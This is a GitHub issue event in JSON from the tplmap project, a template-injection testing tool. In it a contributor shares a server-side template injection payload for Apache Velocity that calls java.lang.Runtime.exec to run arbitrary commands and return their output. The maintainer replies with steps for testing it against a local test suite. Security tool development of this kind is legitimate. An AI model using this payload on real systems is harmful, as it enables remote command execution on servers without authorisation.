{"action":"created","issue":{"url":"https://api.github.com/repos/epinna/tplmap/issues/9","repository_url":"https://api.github.com/repos/epinna/tplmap","labels_url":"https://api.github.com/repos/epinna/tplmap/issues/9/labels{/name}","comments_url":"https://api.github.com/repos/epinna/tplmap/issues/9/comments","events_url":"https://api.github.com/repos/epinna/tplmap/issues/9/events","html_url":"https://github.com/epinna/tplmap/issues/9","id":170521474,"number":9,"title":"Command execution for Velocity template engine","user":{"login":"henshin","id":7304307,"avatar_url":"https://avatars.githubusercontent.com/u/7304307?v=3","gravatar_id":"","url":"https://api.github.com/users/henshin","html_url":"https://github.com/henshin","followers_url":"https://api.github.com/users/henshin/followers","following_url":"https://api.github.com/users/henshin/following{/other_user}","gists_url":"https://api.github.com/users/henshin/gists{/gist_id}","starred_url":"https://api.github.com/users/henshin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/henshin/subscriptions","organizations_url":"https://api.github.com/users/henshin/orgs","repos_url":"https://api.github.com/users/henshin/repos","events_url":"https://api.github.com/users/henshin/events{/privacy}","received_events_url":"https://api.github.com/users/henshin/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":1,"created_at":"2016-08-10T21:19:04Z","updated_at":"2016-08-11T10:32:40Z","closed_at":null,"body":"Hey Emilio,\r\nI'm a fan of weevely and this project also looks very promising.\r\nI want to share a contribution to it. I thought about making a pull request but then I saw that I had to make lots of changes on the code, and I don't wanna ruin your work :)\r\nThis was the result of recent research I made on SSTI on Apache Velocity. The payloads on Portswigger's blog also didn't work for me so I set out to make my own research.\r\nI ended up with this nice payload:\r\n```\r\n#set($run=$engine.getClass().forName(\"java.lang.Runtime\"))#set($runtime=$run.getRuntime())#set($proc=$runtime.exec(\"COMMAND\"))#set($null=$proc.waitFor())#set($istr=$proc.getInputStream())#set($chr=$engine.getClass().forName(\"java.lang.Character\"))#set($output=\"\")#set($string=$engine.getClass().forName(\"java.lang.String\"))#foreach($i in [1..$istr.available()])#set($output=$output.concat($string.valueOf($chr.toChars($istr.read()))))#end$output\r\n```\r\nIt works like a charm for me. Please try it out and let me know if it works on your tests."},"comment":{"url":"https://api.github.com/repos/epinna/tplmap/issues/comments/239125715","html_url":"https://github.com/epinna/tplmap/issues/9#issuecomment-239125715","issue_url":"https://api.github.com/repos/epinna/tplmap/issues/9","id":239125715,"user":{"login":"epinna","id":1578960,"avatar_url":"https://avatars.githubusercontent.com/u/1578960?v=3","gravatar_id":"","url":"https://api.github.com/users/epinna","html_url":"https://github.com/epinna","followers_url":"https://api.github.com/users/epinna/followers","following_url":"https://api.github.com/users/epinna/following{/other_user}","gists_url":"https://api.github.com/users/epinna/gists{/gist_id}","starred_url":"https://api.github.com/users/epinna/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/epinna/subscriptions","organizations_url":"https://api.github.com/users/epinna/orgs","repos_url":"https://api.github.com/users/epinna/repos","events_url":"https://api.github.com/users/epinna/events{/privacy}","received_events_url":"https://api.github.com/users/epinna/received_events","type":"User","site_admin":false},"created_at":"2016-08-11T10:32:40Z","updated_at":"2016-08-11T10:32:40Z","body":"Thank you henshin.\r\n\r\nInvaluable contribution :) However, I can't manage to get this working. Here the steps using the included test suite:\r\n\r\n1. `cd tests; ./run_java_tests.sh` should start the Java environment and http test endpoint. Install any requirement if missing\r\n2. Go to tplmap root and run `./tplmap.py -u 'http://localhost:15003/velocity?inj=*' --tpl-shell`. It should start a shell where to inject bare template code on the endpoint. It supports multi-line command, press ctrl-D to send the payload.\r\n3. Debug sent payloads and responses tracking tplmap logfile with `tail -f ~/.tplmap/tplmap.log`\r\n\r\nI've tried injecting your code but I can't see any response - not even triggers any error or exception on the webserver. Can you please double-check using the same procedure? I've not a full access on my dev environment these days, but I'll be happy to dig deeper later if you can't now.\r\n\r\nThanks again for your help."}}
{"actor":{"display_login":"epinna"}}